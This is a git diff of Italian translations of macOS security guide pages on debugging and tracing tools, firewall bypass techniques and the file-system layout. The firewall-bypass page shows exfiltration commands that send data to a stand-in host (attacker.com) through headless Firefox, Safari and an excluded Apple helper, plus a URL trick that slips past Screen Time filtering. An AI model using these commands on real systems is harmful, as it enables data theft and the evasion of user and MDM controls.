MIG è stato creato per **semplificare il processo di creazione del codice Mach IPC**. Fondamentalmente **genera il codice necessario** affinché server e client comunichino con una data definizione. Anche se il codice generato è brutto, uno sviluppatore dovrà solo importarlo e il suo codice sarà molto più semplice di prima.
Per ulteriori informazioni, controlla:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}

71
src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
View File

@ -126,7 +126,7 @@ I parametri che questa funzione si aspetta sono:
- Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". Ancora una volta, in termini più semplici, questo è solo il **nome del metodo.**
- I parametri rimanenti sono eventuali **valori richiesti dal metodo** (op).
Vedi come **ottenere queste informazioni facilmente con `lldb` in ARM64** in questa pagina:
Vedi come **ottenere facilmente queste informazioni con `lldb` in ARM64** in questa pagina:
{{#ref}}
arm64-basic-assembly.md
@ -135,14 +135,14 @@ arm64-basic-assembly.md
x64:
| **Argomento** | **Registro** | **(per) objc_msgSend** |
| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
| **1° argomento** | **rdi** | **self: oggetto su cui viene invocato il metodo** |
| **2° argomento** | **rsi** | **op: nome del metodo** |
| **3° argomento** | **rdx** | **1° argomento al metodo** |
| **4° argomento** | **rcx** | **2° argomento al metodo** |
| **5° argomento** | **r8** | **3° argomento al metodo** |
| **6° argomento** | **r9** | **4° argomento al metodo** |
| **7°+ argomento** | <p><strong>rsp+</strong><br><strong>(sullo stack)</strong></p> | **5°+ argomento al metodo** |
| ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
| **1° argomento** | **rdi** | **self: oggetto su cui viene invocato il metodo** |
| **2° argomento** | **rsi** | **op: nome del metodo** |
| **3° argomento** | **rdx** | **1° argomento per il metodo** |
| **4° argomento** | **rcx** | **2° argomento per il metodo** |
| **5° argomento** | **r8** | **3° argomento per il metodo** |
| **6° argomento** | **r9** | **4° argomento per il metodo** |
| **7°+ argomento** | <p><strong>rsp+</strong><br><strong>(sullo stack)</strong></p> | **5°+ argomento per il metodo** |
### Dump dei metadati di ObjectiveC
@ -168,7 +168,7 @@ objdump --macho --objc-meta-data /path/to/bin
#### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) è un dump di classi Objective-C moderno e multipiattaforma. Rispetto agli strumenti esistenti, iCDump può funzionare indipendentemente dall'ecosistema Apple ed espone binding Python.
[**iCDump**](https://github.com/romainthomas/iCDump) è un dump di classi Objective-C moderno e multipiattaforma. Rispetto agli strumenti esistenti, iCDump può funzionare indipendentemente dall'ecosistema Apple e espone binding Python.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
Puoi trovare ulteriori informazioni sulle [**informazioni memorizzate in queste sezioni in questo post del blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Puoi trovare ulteriori informazioni su [**le informazioni memorizzate in queste sezioni in questo post del blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Inoltre, **i binari Swift potrebbero avere simboli** (ad esempio, le librerie devono memorizzare simboli affinché le loro funzioni possano essere chiamate). I **simboli di solito contengono informazioni sul nome della funzione** e sugli attributi in un modo poco chiaro, quindi sono molto utili e ci sono "**demanglers"** che possono ottenere il nome originale:
```bash
@ -216,7 +216,7 @@ macOS espone alcune API interessanti che forniscono informazioni sui processi:
- `proc_info`: Questo è il principale che fornisce molte informazioni su ciascun processo. Devi essere root per ottenere informazioni su altri processi, ma non hai bisogno di diritti speciali o porte mach.
- `libsysmon.dylib`: Consente di ottenere informazioni sui processi tramite funzioni esposte da XPC, tuttavia, è necessario avere il diritto `com.apple.sysmond.client`.
### Stackshot e microstackshots
### Stackshot & microstackshots
**Stackshotting** è una tecnica utilizzata per catturare lo stato dei processi, inclusi gli stack di chiamate di tutti i thread in esecuzione. Questo è particolarmente utile per il debug, l'analisi delle prestazioni e la comprensione del comportamento del sistema in un momento specifico. Su iOS e macOS, lo stackshotting può essere eseguito utilizzando diversi strumenti e metodi come gli strumenti **`sample`** e **`spindump`**.
@ -228,7 +228,7 @@ Deve essere eseguito come **root** e il demone `/usr/libexec/sysdiagnosed` ha di
Il suo plist si trova in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` che dichiara 3 MachServices:
- `com.apple.sysdiagnose.CacheDelete`: Elimina vecchi archivi in /var/rmp
- `com.apple.sysdiagnose.CacheDelete`: Elimina archivi vecchi in /var/rmp
- `com.apple.sysdiagnose.kernel.ipc`: Porta speciale 23 (kernel)
- `com.apple.sysdiagnose.service.xpc`: Interfaccia in modalità utente tramite la classe Obj-C `Libsysdiagnose`. Tre argomenti in un dizionario possono essere passati (`compress`, `display`, `run`)
@ -242,7 +242,7 @@ Inoltre, ci sono alcuni log che conterranno il tag `<private>` per **nascondere*
#### Pannello sinistro
Nel pannello sinistro di Hopper è possibile vedere i simboli (**Labels**) del binario, l'elenco delle procedure e delle funzioni (**Proc**) e le stringhe (**Str**). Queste non sono tutte le stringhe, ma quelle definite in diverse parti del file Mac-O (come _cstring o_ `objc_methname`).
Nel pannello sinistro di hopper è possibile vedere i simboli (**Labels**) del binario, l'elenco delle procedure e delle funzioni (**Proc**) e le stringhe (**Str**). Queste non sono tutte le stringhe, ma quelle definite in diverse parti del file Mac-O (come _cstring o_ `objc_methname`).
#### Pannello centrale
@ -262,12 +262,12 @@ Nel pannello destro puoi vedere informazioni interessanti come la **cronologia d
### dtrace
Consente agli utenti di accedere alle applicazioni a un livello estremamente **basso** e fornisce un modo per gli utenti di **tracciare** **programmi** e persino cambiare il loro flusso di esecuzione. Dtrace utilizza **probes** che sono **posizionati in tutto il kernel** e si trovano in posizioni come l'inizio e la fine delle chiamate di sistema.
Consente agli utenti di accedere alle applicazioni a un livello **molto basso** e fornisce un modo per gli utenti di **tracciare** **programmi** e persino cambiare il loro flusso di esecuzione. Dtrace utilizza **probes** che sono **posizionati in tutto il kernel** e si trovano in posizioni come l'inizio e la fine delle chiamate di sistema.
DTrace utilizza la funzione **`dtrace_probe_create`** per creare una sonda per ciascuna chiamata di sistema. Queste sonde possono essere attivate nel **punto di ingresso e uscita di ciascuna chiamata di sistema**. L'interazione con DTrace avviene tramite /dev/dtrace che è disponibile solo per l'utente root.
> [!TIP]
> Per abilitare Dtrace senza disabilitare completamente la protezione SIP, puoi eseguire in modalità di recupero: `csrutil enable --without dtrace`
> Per abilitare Dtrace senza disabilitare completamente la protezione SIP puoi eseguire in modalità di recupero: `csrutil enable --without dtrace`
>
> Puoi anche **`dtrace`** o **`dtruss`** binari che **hai compilato**.
@ -290,8 +290,6 @@ Una spiegazione più dettagliata e ulteriori esempi possono essere trovati in [h
#### Esempi
Esegui `man -k dtrace` per elencare gli **script DTrace disponibili**. Esempio: `sudo dtruss -n binary`
- In linea
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
@ -345,7 +343,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
Strumenti come `latency`, `sc_usage`, `fs_usage` e `trace` lo utilizzano internamente.
Per interfacciarsi con `kdebug`, si utilizza `sysctl` sul namespace `kern.kdebug` e i MIB da utilizzare possono essere trovati in `sys/sysctl.h`, con le funzioni implementate in `bsd/kern/kdebug.c`.
Per interfacciarsi con `kdebug` si utilizza `sysctl` attraverso lo spazio dei nomi `kern.kdebug` e i MIB da utilizzare possono essere trovati in `sys/sysctl.h`, con le funzioni implementate in `bsd/kern/kdebug.c`.
Per interagire con kdebug con un client personalizzato, questi sono solitamente i passaggi:
@ -357,15 +355,15 @@ Per interagire con kdebug con un client personalizzato, questi sono solitamente
- Leggere il buffer chiamando KERN_KDREADTR
- Per abbinare ogni thread al suo processo, chiamare KERN_KDTHRMAP.
Per ottenere queste informazioni, è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
Per ottenere queste informazioni è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
**Nota che Kdebug è disponibile solo per 1 cliente alla volta.** Quindi solo uno strumento alimentato da k-debug può essere eseguito contemporaneamente.
**Nota che Kdebug è disponibile solo per 1 cliente alla volta.** Quindi solo uno strumento alimentato da k-debug può essere eseguito alla stessa volta.
### ktrace
Le API `ktrace_*` provengono da `libktrace.dylib`, che avvolgono quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare callback su codici specifici e poi avviarlo con `ktrace_start`.
Le API `ktrace_*` provengono da `libktrace.dylib` che avvolgono quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare callback su codici specifici e poi avviarlo con `ktrace_start`.
Puoi utilizzare questo anche con **SIP attivato**.
Puoi utilizzare questo anche con **SIP attivato**
Puoi utilizzare come client l'utilità `ktrace`:
```bash
@ -377,7 +375,7 @@ Or `tailspin`.
Questo è usato per fare un profiling a livello di kernel ed è costruito utilizzando le chiamate `Kdebug`.
Fondamentalmente, la variabile globale `kernel_debug_active` viene controllata e se è impostata chiama `kperf_kdebug_handler` con il codice `Kdebug` e l'indirizzo del frame del kernel chiamante. Se il codice `Kdebug` corrisponde a uno selezionato, ottiene le "azioni" configurate come un bitmap (controlla `osfmk/kperf/action.h` per le opzioni).
Fondamentalmente, la variabile globale `kernel_debug_active` viene controllata e se è impostata chiama `kperf_kdebug_handler` con il codice `Kdebug` e l'indirizzo del frame del kernel chiamante. Se il codice `Kdebug` corrisponde a uno selezionato, ottiene le "azioni" configurate come bitmap (controlla `osfmk/kperf/action.h` per le opzioni).
Kperf ha anche una tabella MIB sysctl: (come root) `sysctl kperf`. Questi codici possono essere trovati in `osfmk/kperf/kperfbsd.c`.
@ -400,7 +398,7 @@ Devi monitorare il tuo mac con un comando come **`sudo eslogger fork exec rename
### Crescendo
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) è uno strumento GUI con l'aspetto e la sensazione che gli utenti Windows potrebbero conoscere da _Procmon_ di Microsoft Sysinternal. Questo strumento consente di avviare e fermare la registrazione di vari tipi di eventi, consente il filtraggio di questi eventi per categorie come file, processo, rete, ecc., e fornisce la funzionalità di salvare gli eventi registrati in formato json.
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) è uno strumento GUI con l'aspetto e la sensazione che gli utenti Windows potrebbero conoscere da _Procmon_ di Microsoft Sysinternal. Questo strumento consente di registrare vari tipi di eventi che possono essere avviati e fermati, consente il filtraggio di questi eventi per categorie come file, processo, rete, ecc., e fornisce la funzionalità di salvare gli eventi registrati in formato json.
### Apple Instruments
@ -440,10 +438,10 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> All'interno di lldb, esegui il dump di un processo con `process save-core`
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inizia l'esecuzione, che continuerà senza interruzioni fino a quando non viene colpito un breakpoint o il processo termina.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inizia l'esecuzione fermandosi al punto di ingresso</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegui la prossima istruzione. Questo comando salterà le chiamate di funzione.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegui la prossima istruzione. A differenza del comando nexti, questo comando entrerà nelle chiamate di funzione.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegui il resto delle istruzioni nella funzione corrente (“frame”) restituisci e ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Metti in pausa l'esecuzione. Se il processo è stato eseguito (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualsiasi funzione chiamata main</p><p><code>b <binname>`main</code> #Funzione principale del bin</p><p><code>b set -n main --shlib <lib_name></code> #Funzione principale del bin indicato</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualsiasi metodo NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompi in tutte le funzioni di quella libreria</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Elenco dei breakpoint</p><p><code>br e/dis <num></code> #Abilita/Disabilita breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Visualizza la memoria come istruzione di assembly.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o dei metodi Objective-C di Apple restituiscono oggetti, e quindi dovrebbero essere visualizzati tramite il comando “print object” (po). Se po non produce un output significativo usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <funcname> #Disassembla la funzione</p><p>dis -n <funcname> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Stampa la mappa della memoria del processo corrente</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Ottieni l'indirizzo di tutti i simboli da CoreNLP</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inizia l'esecuzione, che continuerà senza interruzioni fino a quando non viene colpito un breakpoint o il processo termina.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inizia l'esecuzione fermandosi al punto di ingresso</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegui la prossima istruzione. Questo comando salterà le chiamate di funzione.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegui la prossima istruzione. A differenza del comando nexti, questo comando entrerà nelle chiamate di funzione.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegui il resto delle istruzioni nella funzione corrente (“frame”) e ritorna e ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Metti in pausa l'esecuzione. Se il processo è stato eseguito (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualsiasi funzione chiamata main</p><p><code>b <binname>`main</code> #Funzione principale del bin</p><p><code>b set -n main --shlib <lib_name></code> #Funzione principale del bin indicato</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualsiasi metodo NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompi in tutte le funzioni di quella libreria</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Elenco dei breakpoint</p><p><code>br e/dis <num></code> #Abilita/Disabilita breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>Visualizza la memoria come una stringa terminata da null.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o dei metodi Objective-C di Apple restituiscono oggetti, e quindi dovrebbero essere visualizzati tramite il comando “print object” (po). Se po non produce un output significativo usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <funcname> #Disassembla la funzione</p><p>dis -n <funcname> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Stampa la mappa della memoria del processo corrente</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Ottieni l'indirizzo di tutti i simboli da CoreNLP</td></tr></tbody></table>
> [!NOTE]
> Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come stringa terminata da null (“C”). Per stampare il nome tramite lldb fai:
> [!TIP]
> Quando chiami la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come stringa terminata da null (“C”). Per stampare il nome tramite lldb fai:
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
>
@ -452,7 +450,7 @@ settings set target.x86-disassembly-flavor intel
>
> `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
### Analisi Anti-Dinamica
### Anti-Analisi Dinamica
#### Rilevamento VM
@ -472,17 +470,17 @@ I core dumps vengono creati se:
- `kern.coredump` sysctl è impostato su 1 (per impostazione predefinita)
- Se il processo non era suid/sgid o `kern.sugid_coredump` è 1 (per impostazione predefinita è 0)
- Il limite `AS_CORE` consente l'operazione. È possibile sopprimere la creazione dei core dump chiamando `ulimit -c 0` e riabilitarli con `ulimit -c unlimited`.
- Il limite `AS_CORE` consente l'operazione. È possibile sopprimere la creazione di core dump chiamando `ulimit -c 0` e riabilitarli con `ulimit -c unlimited`.
In questi casi il core dump viene generato secondo `kern.corefile` sysctl e solitamente memorizzato in `/cores/core/.%P`.
In questi casi il core dump viene generato secondo `kern.corefile` sysctl e di solito memorizzato in `/cores/core/.%P`.
## Fuzzing
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **analizza i processi in crash e salva un rapporto di crash su disco**. Un rapporto di crash contiene informazioni che possono **aiutare uno sviluppatore a diagnosticare** la causa di un crash.\
Per le applicazioni e altri processi **in esecuzione nel contesto di launchd per utente**, ReportCrash viene eseguito come un LaunchAgent e salva i rapporti di crash nella `~/Library/Logs/DiagnosticReports/` dell'utente.\
Per i demoni, altri processi **in esecuzione nel contesto di launchd di sistema** e altri processi privilegiati, ReportCrash viene eseguito come un LaunchDaemon e salva i rapporti di crash nei `/Library/Logs/DiagnosticReports` del sistema.
Per le applicazioni e altri processi **in esecuzione nel contesto di launchd per utente**, ReportCrash viene eseguito come un LaunchAgent e salva i rapporti di crash nella cartella `~/Library/Logs/DiagnosticReports/` dell'utente.\
Per i demoni, altri processi **in esecuzione nel contesto di launchd di sistema** e altri processi privilegiati, ReportCrash viene eseguito come un LaunchDaemon e salva i rapporti di crash nella cartella `/Library/Logs/DiagnosticReports` del sistema.
Se sei preoccupato che i rapporti di crash **vengano inviati ad Apple**, puoi disabilitarli. Se no, i rapporti di crash possono essere utili per **capire come è andato in crash un server**.
```bash
@ -496,7 +494,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
```
### Sonno
Mentre si esegue il fuzzing su MacOS, è importante non permettere al Mac di andare in sonno:
Durante il fuzzing su MacOS è importante non permettere al Mac di andare in sonno:
- systemsetup -setsleep Never
- pmset, Preferenze di Sistema
@ -504,7 +502,7 @@ Mentre si esegue il fuzzing su MacOS, è importante non permettere al Mac di and
#### Disconnessione SSH
Se stai eseguendo il fuzzing tramite una connessione SSH, è importante assicurarsi che la sessione non si disconnetta. Quindi modifica il file sshd_config con:
Se stai fuzzando tramite una connessione SSH, è importante assicurarsi che la sessione non si disconnetta. Quindi modifica il file sshd_config con:
- TCPKeepAlive Yes
- ClientAliveInterval 0
@ -517,13 +515,14 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
**Controlla la seguente pagina** per scoprire come puoi trovare quale app è responsabile della **gestione dello schema o protocollo specificato:**
{{#ref}}
../macos-file-extension-apps.md
{{#endref}}
### Enumerating Network Processes
Questo è interessante per trovare processi che gestiscono dati di rete:
Questo è interessante per trovare i processi che gestiscono i dati di rete:
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time

19
src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
View File

@ -28,7 +28,7 @@ Alcune idee per provare a bypassare i firewall
### Controlla il traffico consentito
Conoscere il traffico consentito ti aiuterà a identificare potenziali domini in whitelist o quali applicazioni sono autorizzate ad accedervi.
Conoscere il traffico consentito ti aiuterà a identificare i domini potenzialmente in whitelist o quali applicazioni sono autorizzate ad accedervi.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
@ -61,10 +61,11 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Iniezioni di processi
### Via processi di iniezione
Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti bypassare le protezioni del firewall:
{{#ref}}
macos-proces-abuse/
{{#endref}}
@ -74,17 +75,17 @@ macos-proces-abuse/
## Vulnerabilità recenti di bypass del firewall di macOS (2023-2025)
### Bypass del filtro dei contenuti web (Screen Time) – **CVE-2024-44206**
Nel luglio 2024 Apple ha corretto un bug critico in Safari/WebKit che ha interrotto il “filtro dei contenuti web” a livello di sistema utilizzato dai controlli parentali di Screen Time.
Un URI appositamente creato (ad esempio, con “://” codificato in URL due volte) non è riconosciuto dall'ACL di Screen Time ma è accettato da WebKit, quindi la richiesta viene inviata senza filtri. Qualsiasi processo che può aprire un URL (incluso codice sandboxed o non firmato) può quindi raggiungere domini che sono esplicitamente bloccati dall'utente o da un profilo MDM.
Nel luglio 2024 Apple ha corretto un bug critico in Safari/WebKit che ha interrotto il “filtro dei contenuti web” a livello di sistema utilizzato dai controlli parentali di Screen Time.
Un URI appositamente creato (ad esempio, con “://” codificato due volte) non è riconosciuto dall'ACL di Screen Time ma è accettato da WebKit, quindi la richiesta viene inviata senza filtri. Qualsiasi processo che può aprire un URL (incluso codice sandboxed o non firmato) può quindi raggiungere domini che sono esplicitamente bloccati dall'utente o da un profilo MDM.
Test pratico (sistema non patchato):
Test pratico (sistema non aggiornato):
```bash
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
```
### Bug di ordinamento delle regole del filtro pacchetti (PF) nelle prime versioni di macOS 14 “Sonoma”
Durante il ciclo beta di macOS 14, Apple ha introdotto una regressione nel wrapper utente attorno a **`pfctl`**.
Le regole aggiunte con la parola chiave `quick` (utilizzata da molti kill-switch VPN) venivano ignorate silenziosamente, causando perdite di traffico anche quando un'interfaccia VPN/firewall riportava *bloccato*. Il bug è stato confermato da diversi fornitori di VPN ed è stato corretto nella RC 2 (build 23A344).
Le regole che sono state aggiunte con la parola chiave `quick` (utilizzata da molti kill-switch VPN) sono state ignorate silenziosamente, causando perdite di traffico anche quando un'interfaccia VPN/firewall riportava *bloccato*. Il bug è stato confermato da diversi fornitori di VPN ed è stato corretto nella RC 2 (build 23A344).
Controllo rapido delle perdite:
```bash
@ -92,10 +93,10 @@ pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Abusare dei servizi helper firmati da Apple (legacy – pre-macOS 11.2)
Prima di macOS 11.2, la **`ContentFilterExclusionList`** consentiva a ~50 binari Apple come **`nsurlsessiond`** e l'App Store di bypassare tutti i firewall a filtro socket implementati con il framework Network Extension (LuLu, Little Snitch, ecc.).
Prima di macOS 11.2, la **`ContentFilterExclusionList`** consentiva a ~50 binari Apple come **`nsurlsessiond`** e l'App Store di bypassare tutti i firewall a filtro socket implementati con il framework Network Extension (LuLu, Little Snitch, ecc.).
Il malware poteva semplicemente avviare un processo escluso—o iniettare codice in esso—e tunnelare il proprio traffico attraverso il socket già consentito. Apple ha completamente rimosso l'elenco di esclusione in macOS 11.2, ma la tecnica è ancora rilevante su sistemi che non possono essere aggiornati.
Esempio di proof-of-concept (pre-11.2):
Esempio di prova di concetto (pre-11.2):
```python
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
@ -112,7 +113,7 @@ s.send(b"exfil...")
```bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
```
2. Enumera i binari che già possiedono il diritto *outgoing-network* (utile per piggy-backing):
2. Enumera i binari che già possiedono il diritto *outgoing-network* (utile per il piggy-backing):
```bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -

64
src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
View File

@ -1,15 +1,15 @@
# macOS File, Cartelle, Binaries & Memoria
# macOS Files, Folders, Binaries & Memory
{{#include ../../../banners/hacktricks-training.md}}
## Layout gerarchico dei file
## File hierarchy layout
- **/Applications**: Le app installate dovrebbero trovarsi qui. Tutti gli utenti potranno accedervi.
- **/bin**: Binaries da linea di comando
- **/cores**: Se esiste, viene utilizzato per memorizzare i core dump
- **/dev**: Tutto è trattato come un file, quindi potresti vedere i dispositivi hardware memorizzati qui.
- **/etc**: File di configurazione
- **/Library**: Qui si possono trovare molte sottodirectory e file relativi a preferenze, cache e log. Una cartella Library esiste nella root e in ogni directory utente.
- **/Library**: Qui si possono trovare molte sottodirectory e file relativi a preferenze, cache e log. Una cartella Library esiste nella root e nella directory di ogni utente.
- **/private**: Non documentato, ma molte delle cartelle menzionate sono collegamenti simbolici alla directory privata.
- **/sbin**: Binaries di sistema essenziali (relativi all'amministrazione)
- **/System**: File per far funzionare OS X. Qui dovresti trovare principalmente solo file specifici di Apple (non di terze parti).
@ -17,21 +17,21 @@
- **/Users**: Directory home per gli utenti.
- **/usr**: Config e binaries di sistema
- **/var**: File di log
- **/Volumes**: Le unità montate appariranno qui.
- **/Volumes**: I dischi montati appariranno qui.
- **/.vol**: Eseguendo `stat a.txt` ottieni qualcosa come `16777223 7545753 -rw-r--r-- 1 username wheel ...` dove il primo numero è l'id del volume in cui esiste il file e il secondo è il numero inode. Puoi accedere al contenuto di questo file tramite /.vol/ con quelle informazioni eseguendo `cat /.vol/16777223/7545753`
### Cartelle delle Applicazioni
### Applications Folders
- **Le applicazioni di sistema** si trovano sotto `/System/Applications`
- **Le applicazioni di sistema** si trovano in `/System/Applications`
- **Le applicazioni installate** sono solitamente installate in `/Applications` o in `~/Applications`
- **I dati delle applicazioni** possono essere trovati in `/Library/Application Support` per le applicazioni in esecuzione come root e `~/Library/Application Support` per le applicazioni in esecuzione come utente.
- Le **daemon** delle applicazioni di terze parti che **devono essere eseguite come root** si trovano solitamente in `/Library/PrivilegedHelperTools/`
- I **daemon** delle applicazioni di terze parti che **devono essere eseguiti come root** si trovano solitamente in `/Library/PrivilegedHelperTools/`
- Le app **sandboxed** sono mappate nella cartella `~/Library/Containers`. Ogni app ha una cartella denominata secondo l'ID del bundle dell'applicazione (`com.apple.Safari`).
- Il **kernel** si trova in `/System/Library/Kernels/kernel`
- **Le estensioni del kernel di Apple** si trovano in `/System/Library/Extensions`
- **Le estensioni del kernel di terze parti** sono memorizzate in `/Library/Extensions`
